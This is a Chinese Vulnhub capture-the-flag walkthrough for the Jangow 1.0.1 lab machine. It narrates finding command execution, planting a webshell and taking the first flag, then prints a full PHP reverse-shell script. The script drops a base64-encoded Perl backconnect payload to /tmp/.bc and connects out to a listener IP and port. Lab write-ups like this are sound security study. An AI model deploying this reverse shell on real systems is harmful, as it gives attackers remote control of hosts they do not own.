第6集：Vulnhub通关笔记之Jangow1.0.1

2023年9月11日09:51:10评论5 views字数 2700阅读9分0秒阅读模式

背景介绍

Vulnhub是一个提供各种漏洞环境的靶场平台，供安全爱好者学习渗透使用，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞，需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标，根据漏洞获取权限，并进行权限提升操作获取最终flag。

平台地址：https://www.vulnhub.com/

开始冲刺

先扫描靶机IP地址：

好的，就是你了，打开地址有一个site目录，我们访问下：

打开之后是一个站点（其实页面内容不这样，这是我改的- -）：

右上角有三个模块可点击，发现了其中有一个疑似不对劲：

哎哟呵，直接命令执行了是吧：

那我可直接写WebShell进去了，我要进去了哦，我真的进去了哦：

好的，已经进去，而且出来了：

哥斯拉尝试连接Shell，呜呼：

目录下有第一个Flag：

为了方便后续提权，我们先反弹个Shell。整活，PHP反弹Shell：

<?phpfunction which($pr) {  $path = execute("which $pr");  return ($path ? $path : $pr);  }function execute($cfe) {  $res = '';  if ($cfe) {    if(function_exists('exec')) {      @exec($cfe,$res);      $res = join("n",$res);      }       elseif(function_exists('shell_exec')) {      $res = @shell_exec($cfe);      } elseif(function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cfe,"r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;}function cf($fname,$text){if($fp=@fopen($fname,'w')) {@fputs($fp,@base64_decode($text));@fclose($fp);}}$yourip = "192.168.110.204"; //监听地址$yourport = '6666';       //监听端口$usedb = array('perl'=>'perl','c'=>'c');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";cf('/tmp/.bc',$back_connect);$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");?>